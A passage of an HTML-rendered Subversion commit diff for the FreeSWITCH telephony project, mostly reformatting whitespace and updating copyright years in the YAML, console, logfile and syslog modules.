</del><ins>+                                                           read_impl.number_of_channels, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, pool) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Raw Codec Activated\n&quot;);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Raw Codec Activation Failed\n&quot;);
</span><span class="lines">@@ -127,10 +126,7 @@
</span><span class="cx">         if (timer_name) {
</span><span class="cx">                 unsigned int ms = read_impl.microseconds_per_packet / 1000;
</span><span class="cx">                 if (switch_core_timer_init(&amp;tto-&gt;timer_base,
</span><del>-                                                                   timer_name,
-                                                                   ms,
-                                                                   (read_impl.samples_per_second / 50) *
-                                                                   read_impl.number_of_channels, pool) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                   timer_name, ms, (read_impl.samples_per_second / 50) * read_impl.number_of_channels, pool) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         tto-&gt;timer = &amp;tto-&gt;timer_base;
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Timer INIT Success %u\n&quot;, ms);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -347,7 +343,7 @@
</span><span class="cx">         /*.next */ NULL
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
</del><ins>+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
</ins><span class="cx"> {
</span><span class="cx">         *module_interface = &amp;teletone_module_interface;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_yamlmod_yamlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_yaml/mod_yaml.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_yaml/mod_yaml.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_yaml/mod_yaml.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -37,65 +37,56 @@
</span><span class="cx"> 
</span><span class="cx"> static void print_error(yaml_parser_t *parser)
</span><span class="cx"> {
</span><del>-    switch (parser-&gt;error)
-                {
-                case YAML_MEMORY_ERROR:
-            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Memory error: Not enough memory for parsing\n&quot;);
-            break;
</del><ins>+        switch (parser-&gt;error) {
+        case YAML_MEMORY_ERROR:
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Memory error: Not enough memory for parsing\n&quot;);
+                break;
</ins><span class="cx"> 
</span><del>-        case YAML_READER_ERROR:
-            if (parser-&gt;problem_value != -1) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Reader error: %s: #%X at %d\n&quot;, parser-&gt;problem,
-                                                                  parser-&gt;problem_value, (int) parser-&gt;problem_offset);
-            }
-            else {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Reader error: %s at %d\n&quot;, parser-&gt;problem,
-                                                                  (int) parser-&gt;problem_offset);
-            }
-            break;
</del><ins>+        case YAML_READER_ERROR:
+                if (parser-&gt;problem_value != -1) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Reader error: %s: #%X at %d\n&quot;, parser-&gt;problem,
+                                                          parser-&gt;problem_value, (int) parser-&gt;problem_offset);
+                } else {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Reader error: %s at %d\n&quot;, parser-&gt;problem, (int) parser-&gt;problem_offset);
+                }
+                break;
</ins><span class="cx"> 
</span><del>-        case YAML_SCANNER_ERROR:
-            if (parser-&gt;context) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Scanner error: %s at line %d, column %d\n&quot;
-                                                                  &quot;%s at line %d, column %d\n&quot;, parser-&gt;context,
-                                                                  (int)parser-&gt;context_mark.line+1, (int)parser-&gt;context_mark.column+1,
-                                                                  parser-&gt;problem, (int)parser-&gt;problem_mark.line+1,
-                                                                  (int)parser-&gt;problem_mark.column+1);
-            }
-            else {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Scanner error: %s at line %d, column %d\n&quot;,
-                                                                  parser-&gt;problem, (int)parser-&gt;problem_mark.line+1,
-                                                                  (int)parser-&gt;problem_mark.column+1);
-            }
-            break;
</del><ins>+        case YAML_SCANNER_ERROR:
+                if (parser-&gt;context) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Scanner error: %s at line %d, column %d\n&quot;
+                                                          &quot;%s at line %d, column %d\n&quot;, parser-&gt;context,
+                                                          (int) parser-&gt;context_mark.line + 1, (int) parser-&gt;context_mark.column + 1,
+                                                          parser-&gt;problem, (int) parser-&gt;problem_mark.line + 1, (int) parser-&gt;problem_mark.column + 1);
+                } else {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Scanner error: %s at line %d, column %d\n&quot;,
+                                                          parser-&gt;problem, (int) parser-&gt;problem_mark.line + 1, (int) parser-&gt;problem_mark.column + 1);
+                }
+                break;
</ins><span class="cx"> 
</span><del>-        case YAML_PARSER_ERROR:
-            if (parser-&gt;context) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Parser error: %s at line %d, column %d\n&quot;
-                                                                  &quot;%s at line %d, column %d\n&quot;, parser-&gt;context,
-                                                                  (int)parser-&gt;context_mark.line+1, (int)parser-&gt;context_mark.column+1,
-                                                                  parser-&gt;problem, (int)parser-&gt;problem_mark.line+1,
-                                                                  (int)parser-&gt;problem_mark.column+1);
-            }
-            else {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Parser error: %s at line %d, column %d\n&quot;,
-                                                                  parser-&gt;problem, (int)parser-&gt;problem_mark.line+1,
-                                                                  (int)parser-&gt;problem_mark.column+1);
-            }
-            break;
-
-        default:
-            /* Couldn't happen. */
-            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Internal error\n&quot;);
-            break;
</del><ins>+        case YAML_PARSER_ERROR:
+                if (parser-&gt;context) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Parser error: %s at line %d, column %d\n&quot;
+                                                          &quot;%s at line %d, column %d\n&quot;, parser-&gt;context,
+                                                          (int) parser-&gt;context_mark.line + 1, (int) parser-&gt;context_mark.column + 1,
+                                                          parser-&gt;problem, (int) parser-&gt;problem_mark.line + 1, (int) parser-&gt;problem_mark.column + 1);
+                } else {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Parser error: %s at line %d, column %d\n&quot;,
+                                                          parser-&gt;problem, (int) parser-&gt;problem_mark.line + 1, (int) parser-&gt;problem_mark.column + 1);
</ins><span class="cx">                 }
</span><ins>+                break;
+
+        default:
+                /* Couldn't happen. */
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Internal error\n&quot;);
+                break;
+        }
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static switch_xml_t parse_file(FILE *input, const char *file_name)
</del><ins>+static switch_xml_t parse_file(FILE * input, const char *file_name)
</ins><span class="cx"> {
</span><span class="cx">         yaml_parser_t parser;
</span><del>-        yaml_event_t event = {0};
</del><ins>+        yaml_event_t event = { 0 };
</ins><span class="cx">         char *scalar_data;
</span><span class="cx">         int done = 0;
</span><span class="cx">         int depth = 0;
</span><span class="lines">@@ -108,7 +99,7 @@
</span><span class="cx">         yaml_parser_initialize(&amp;parser);
</span><span class="cx">         yaml_parser_set_input_file(&amp;parser, input);
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(xml = switch_xml_new(&quot;document&quot;))) {
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="lines">@@ -119,7 +110,7 @@
</span><span class="cx"> 
</span><span class="cx">         top = switch_xml_add_child_d(current, &quot;configuration&quot;, 0);
</span><span class="cx">         switch_xml_set_attr_d(top, &quot;name&quot;, file_name);
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (!done) {
</span><span class="cx">                 if (!yaml_parser_parse(&amp;parser, &amp;event)) {
</span><span class="cx">                         print_error(&amp;parser);
</span><span class="lines">@@ -139,7 +130,7 @@
</span><span class="cx">                                 scalar_data = (char *) event.data.scalar.value;
</span><span class="cx">                                 switch (depth) {
</span><span class="cx">                                 case 1:
</span><del>-                                        if (!(current = switch_xml_add_child_d(top, scalar_data, depth-1))) {
</del><ins>+                                        if (!(current = switch_xml_add_child_d(top, scalar_data, depth - 1))) {
</ins><span class="cx">                                                 done = 1;
</span><span class="cx">                                         }
</span><span class="cx">                                         switch_set_string(category, scalar_data);
</span><span class="lines">@@ -161,7 +152,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 break;
</span><span class="cx">                         default:
</span><span class="cx">                                 break;
</span><span class="lines">@@ -169,14 +160,13 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 yaml_event_delete(&amp;event);
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         yaml_parser_delete(&amp;parser);
</span><span class="cx"> 
</span><span class="cx">         if (input) {
</span><span class="cx">                 fclose(input);
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef DEBUG_XML
</span><span class="cx">         if (xml) {
</span><span class="cx">                 char *foo = switch_xml_toxml(xml, SWITCH_FALSE);
</span><span class="lines">@@ -186,11 +176,11 @@
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">         return xml;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_xml_t yaml_fetch(const char *section,
</span><del>-                                                          const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
</del><ins>+                                                           const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
</ins><span class="cx"> {
</span><span class="cx">         char *path;
</span><span class="cx">         FILE *input;
</span><span class="lines">@@ -201,17 +191,17 @@
</span><span class="cx">                 xml = parse_file(input, key_value);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;cannot open %s\n&quot;, path);
</span><del>-        } 
-        
</del><ins>+        }
+
</ins><span class="cx">         switch_safe_free(path);
</span><span class="cx">         return xml;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static switch_caller_extension_t *parse_dp(FILE *input, switch_core_session_t *session, switch_caller_profile_t *caller_profile)
</del><ins>+static switch_caller_extension_t *parse_dp(FILE * input, switch_core_session_t *session, switch_caller_profile_t *caller_profile)
</ins><span class="cx"> {
</span><span class="cx">         yaml_parser_t parser;
</span><del>-        yaml_event_t event = {0};
</del><ins>+        yaml_event_t event = { 0 };
</ins><span class="cx">         char *scalar_data;
</span><span class="cx">         int done = 0;
</span><span class="cx">         int depth = 0;
</span><span class="lines">@@ -221,7 +211,7 @@
</span><span class="cx">         char *last_field = NULL;
</span><span class="cx">         int nv = 0;
</span><span class="cx">         switch_caller_extension_t *extension = NULL;
</span><del>-    switch_channel_t *channel = switch_core_session_get_channel(session);
</del><ins>+        switch_channel_t *channel = switch_core_session_get_channel(session);
</ins><span class="cx">         int context_hit = 0;
</span><span class="cx">         int proceed = 0;
</span><span class="cx">         switch_regex_t *re = NULL;
</span><span class="lines">@@ -244,7 +234,7 @@
</span><span class="cx"> 
</span><span class="cx">         yaml_parser_initialize(&amp;parser);
</span><span class="cx">         yaml_parser_set_input_file(&amp;parser, input);
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (!done) {
</span><span class="cx">                 if (!yaml_parser_parse(&amp;parser, &amp;event)) {
</span><span class="cx">                         print_error(&amp;parser);
</span><span class="lines">@@ -273,19 +263,19 @@
</span><span class="cx">                                                 char *field = switch_core_session_strdup(session, scalar_data);
</span><span class="cx">                                                 char *p, *e, *expression = NULL, *field_expanded = NULL, *expression_expanded = NULL;
</span><span class="cx">                                                 const char *field_data = NULL;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 parens = 0;
</span><span class="cx">                                                 proceed = 0;
</span><span class="cx">                                                 switch_regex_safe_free(re);
</span><span class="cx"> 
</span><span class="cx">                                                 if ((p = strstr(field, &quot;=~&quot;))) {
</span><span class="cx">                                                         *p = '\0';
</span><del>-                                                        e = p-1;
-                                                        while(*e == ' ') {
</del><ins>+                                                        e = p - 1;
+                                                        while (*e == ' ') {
</ins><span class="cx">                                                                 *e-- = '\0';
</span><span class="cx">                                                         }
</span><del>-                                                        e = p+2;
-                                                        while(*e == ' ') {
</del><ins>+                                                        e = p + 2;
+                                                        while (*e == ' ') {
</ins><span class="cx">                                                                 *e++ = '\0';
</span><span class="cx">                                                         }
</span><span class="cx">                                                         expression = e;
</span><span class="lines">@@ -313,7 +303,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                         switch_safe_free(last_field);
</span><span class="cx">                                                         last_field = strdup(field_data);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;test conditions %s(%s) =~ /%s/\n&quot;, field, field_data, expression);
</span><span class="cx">                                                         if (!(proceed = switch_regex_perform(field_data, expression, &amp;re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Regex mismatch\n&quot;);
</span><span class="lines">@@ -344,12 +334,12 @@
</span><span class="cx">                                                         char *substituted = NULL;
</span><span class="cx">                                                         char *app_data;
</span><span class="cx"> 
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!extension) {
</span><span class="cx">                                                                 extension = switch_caller_extension_new(session, &quot;YAML&quot;, caller_profile-&gt;destination_number);
</span><span class="cx">                                                                 switch_assert(extension);
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (parens) {
</span><span class="cx">                                                                 len = (uint32_t) (strlen(value) + strlen(last_field) + 10) * proceed;
</span><span class="cx">                                                                 switch_zmalloc(substituted, len);
</span><span class="lines">@@ -358,14 +348,14 @@
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 app_data = value;
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_caller_extension_add_application(session, extension, name, app_data);
</span><span class="cx">                                                         switch_safe_free(substituted);
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                         break;
</span><del>-                                                                        }
-                                
</del><ins>+                                }
+
</ins><span class="cx">                                 break;
</span><span class="cx">                         default:
</span><span class="cx">                                 break;
</span><span class="lines">@@ -375,7 +365,7 @@
</span><span class="cx">                 yaml_event_delete(&amp;event);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(last_field);
</span><span class="cx">         switch_regex_safe_free(re);
</span><span class="lines">@@ -384,7 +374,6 @@
</span><span class="cx">         if (input) {
</span><span class="cx">                 fclose(input);
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef DEBUG_XML
</span><span class="cx">         if (xml) {
</span><span class="cx">                 char *foo = switch_xml_toxml(xml, SWITCH_FALSE);
</span><span class="lines">@@ -394,7 +383,7 @@
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">         return extension;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_DIALPLAN(yaml_dialplan_hunt)
</span><span class="lines">@@ -414,9 +403,9 @@
</span><span class="cx">                 extension = parse_dp(input, session, caller_profile);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error opening %s\n&quot;, path);
</span><del>-        } 
-        
-        switch_safe_free(path);        
</del><ins>+        }
+
+        switch_safe_free(path);
</ins><span class="cx">         return extension;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -424,7 +413,7 @@
</span><span class="cx"> static switch_status_t do_config(void)
</span><span class="cx"> {
</span><span class="cx">         yaml_parser_t parser;
</span><del>-        yaml_event_t event = {0};
</del><ins>+        yaml_event_t event = { 0 };
</ins><span class="cx">         char *path;
</span><span class="cx">         const char *cfg = &quot;mod_yaml.yaml&quot;;
</span><span class="cx">         FILE *input;
</span><span class="lines">@@ -438,7 +427,7 @@
</span><span class="cx">         int nv = 0;
</span><span class="cx"> 
</span><span class="cx">         path = switch_mprintf(&quot;%s/yaml/%s&quot;, SWITCH_GLOBAL_dirs.conf_dir, cfg);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(input = fopen(path, &quot;r&quot;))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error opening %s\n&quot;, path);
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -485,7 +474,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 break;
</span><span class="cx">                         default:
</span><span class="cx">                                 break;
</span><span class="lines">@@ -493,21 +482,21 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 yaml_event_delete(&amp;event);
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         yaml_parser_delete(&amp;parser);
</span><span class="cx">         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (input) {
</span><span class="cx">                 fclose(input);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(path);
</span><span class="cx"> 
</span><span class="cx">         return status;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_yaml_load)
</span></span></pre></div>
<a id="freeswitchtrunksrcmodloggersmod_consolemod_consolec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/loggers/mod_console/mod_console.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/loggers/mod_console/mod_console.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/loggers/mod_console/mod_console.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -43,11 +43,17 @@
</span><span class="cx"> static WORD wOldColorAttrs;
</span><span class="cx"> static CONSOLE_SCREEN_BUFFER_INFO csbiInfo;
</span><span class="cx"> 
</span><del>-static WORD 
</del><ins>+static WORD
</ins><span class="cx"> #else
</span><del>-static const char*
</del><ins>+static const char *
</ins><span class="cx"> #endif
</span><del>-COLORS[] = { SWITCH_SEQ_DEFAULT_COLOR, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FMAGEN, SWITCH_SEQ_FCYAN, SWITCH_SEQ_FGREEN, SWITCH_SEQ_FYELLOW };
</del><ins>+ 
+        
+        
+        
+        COLORS[] =
+        { SWITCH_SEQ_DEFAULT_COLOR, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FMAGEN, SWITCH_SEQ_FCYAN, SWITCH_SEQ_FGREEN,
+SWITCH_SEQ_FYELLOW };
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> static switch_memory_pool_t *module_pool = NULL;
</span><span class="lines">@@ -261,8 +267,7 @@
</span><span class="cx">                 &quot;--------------------------------------------------------------------------------\n&quot;
</span><span class="cx">                 &quot;console help\n&quot;
</span><span class="cx">                 &quot;console loglevel [[0-7] | &lt;loglevel_string&gt;]\n&quot;
</span><del>-                &quot;console colorize [on|off|toggle]\n&quot;
-                &quot;--------------------------------------------------------------------------------\n&quot;;
</del><ins>+                &quot;console colorize [on|off|toggle]\n&quot; &quot;--------------------------------------------------------------------------------\n&quot;;
</ins><span class="cx">         const char *loglevel_usage_string = &quot;USAGE:\n&quot;
</span><span class="cx">                 &quot;--------------------------------------------------------------------------------\n&quot;
</span><span class="cx">                 &quot;console loglevel [[0-7] | &lt;loglevel_string&gt;]\n&quot;
</span><span class="lines">@@ -274,17 +279,11 @@
</span><span class="cx">                 &quot;  1 alert\n&quot;
</span><span class="cx">                 &quot;  2 crit\n&quot;
</span><span class="cx">                 &quot;  3 err\n&quot;
</span><del>-                &quot;  4 warning\n&quot;
-                &quot;  5 notice\n&quot;
-                &quot;  6 info\n&quot;
-                &quot;  7 debug\n&quot;
-                &quot;--------------------------------------------------------------------------------\n&quot;;
</del><ins>+                &quot;  4 warning\n&quot; &quot;  5 notice\n&quot; &quot;  6 info\n&quot; &quot;  7 debug\n&quot; &quot;--------------------------------------------------------------------------------\n&quot;;
</ins><span class="cx">         const char *colorize_usage_string = &quot;USAGE:\n&quot;
</span><span class="cx">                 &quot;--------------------------------------------------------------------------------\n&quot;
</span><span class="cx">                 &quot;console colorize [on|off|toggle]\n&quot;
</span><del>-                &quot;\n&quot;
-                &quot;Enable, disable, or toggle console coloring.\n&quot;
-                &quot;--------------------------------------------------------------------------------\n&quot;;
</del><ins>+                &quot;\n&quot; &quot;Enable, disable, or toggle console coloring.\n&quot; &quot;--------------------------------------------------------------------------------\n&quot;;
</ins><span class="cx"> 
</span><span class="cx">         if (session)
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -315,10 +314,10 @@
</span><span class="cx">                                 level = atoi(argv[1]);
</span><span class="cx">                         } else {
</span><span class="cx">                                 level = switch_log_str2level(argv[1]);
</span><del>-                        } 
</del><ins>+                        }
</ins><span class="cx">                 }
</span><span class="cx">                 if (level == SWITCH_LOG_INVALID) {
</span><del>-                        stream-&gt;write_function(stream, &quot;-ERR Invalid console loglevel (%s)!\n\n&quot;, argc&gt;1? argv[1] : &quot;&quot;);
</del><ins>+                        stream-&gt;write_function(stream, &quot;-ERR Invalid console loglevel (%s)!\n\n&quot;, argc &gt; 1 ? argv[1] : &quot;&quot;);
</ins><span class="cx">                 } else {
</span><span class="cx">                         hard_log_level = level;
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;+OK console log level set to %s\n&quot;, switch_log_level2str(hard_log_level));
</span><span class="lines">@@ -337,11 +336,11 @@
</span><span class="cx">                 }
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;+OK console color %s\n&quot;, COLORIZE ? &quot;enabled&quot; : &quot;disabled&quot;);
</span><span class="cx"> 
</span><del>-        } else { /* if (!strcasecmp(argv[0], &quot;help&quot;)) { */
</del><ins>+        } else {                                        /* if (!strcasecmp(argv[0], &quot;help&quot;)) { */
</ins><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, usage_string);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodloggersmod_logfilemod_logfilec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/loggers/mod_logfile/mod_logfile.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/loggers/mod_logfile/mod_logfile.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/loggers/mod_logfile/mod_logfile.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -154,11 +154,11 @@
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;New log started.\n&quot;);
</span><span class="cx"> 
</span><span class="cx">   end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (pool) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx">         }
</span><span class="lines">@@ -231,7 +231,7 @@
</span><span class="cx">                 if (ok) {
</span><span class="cx">                         if (profile-&gt;log_uuid &amp;&amp; !zstr(node-&gt;userdata)) {
</span><span class="cx">                                 char buf[2048];
</span><del>-                                switch_snprintf(buf, sizeof(buf), &quot;%s %s&quot;, node-&gt;userdata, node-&gt;data);        
</del><ins>+                                switch_snprintf(buf, sizeof(buf), &quot;%s %s&quot;, node-&gt;userdata, node-&gt;data);
</ins><span class="cx">                                 mod_logfile_raw_write(profile, buf);
</span><span class="cx">                         } else {
</span><span class="cx">                                 mod_logfile_raw_write(profile, node-&gt;data);
</span><span class="lines">@@ -387,7 +387,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         const void *var;
</span><del>-    void *val;
</del><ins>+        void *val;
</ins><span class="cx"> 
</span><span class="cx">         switch_log_unbind_logger(mod_logfile_logger);
</span><span class="cx">         switch_event_unbind(&amp;globals.node);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodloggersmod_syslogmod_syslogc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/loggers/mod_syslog/mod_syslog.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/loggers/mod_syslog/mod_syslog.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/loggers/mod_syslog/mod_syslog.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, James Martelletti &lt;james@nerdc0re.com&gt;
</del><ins>+ * Copyright (C) 2005-2010, James Martelletti &lt;james@nerdc0re.com&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -49,13 +49,13 @@
</span><span class="cx"> static struct {
</span><span class="cx">         char *ident;
</span><span class="cx">         char *format;
</span><del>-        int   facility;
</del><ins>+        int facility;
</ins><span class="cx">         switch_bool_t log_uuid;
</span><span class="cx"> } globals;
</span><span class="cx"> 
</span><span class="cx"> struct _facility_table_entry {
</span><span class="cx">         char *description;
</span><del>-        int  facility;
</del><ins>+        int facility;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_ident, globals.ident);
</span><span class="lines">@@ -64,33 +64,33 @@
</span><span class="cx"> switch_status_t set_global_facility(const char *facility)
</span><span class="cx"> {
</span><span class="cx">         const struct _facility_table_entry facilities[] = {
</span><del>-                { &quot;auth&quot;,     LOG_AUTH     },
- #if !defined (__SVR4) &amp;&amp; !defined (__sun)
-                { &quot;authpriv&quot;, LOG_AUTHPRIV },
-                { &quot;ftp&quot;,      LOG_FTP      },
</del><ins>+                {&quot;auth&quot;, LOG_AUTH},
+#if !defined (__SVR4) &amp;&amp; !defined (__sun)
+                {&quot;authpriv&quot;, LOG_AUTHPRIV},
+                {&quot;ftp&quot;, LOG_FTP},
</ins><span class="cx"> #endif
</span><del>-                { &quot;cron&quot;,     LOG_CRON     },
-                { &quot;daemon&quot;,   LOG_DAEMON   },
-                { &quot;kern&quot;,     LOG_KERN     },
-                { &quot;local0&quot;,   LOG_LOCAL0   },
-                { &quot;local1&quot;,   LOG_LOCAL1   },
-                { &quot;local2&quot;,   LOG_LOCAL2   },
-                { &quot;local3&quot;,   LOG_LOCAL3   },
-                { &quot;local4&quot;,   LOG_LOCAL4   },
-                { &quot;local5&quot;,   LOG_LOCAL5   },
-                { &quot;local6&quot;,   LOG_LOCAL6   },
-                { &quot;local7&quot;,   LOG_LOCAL7   },
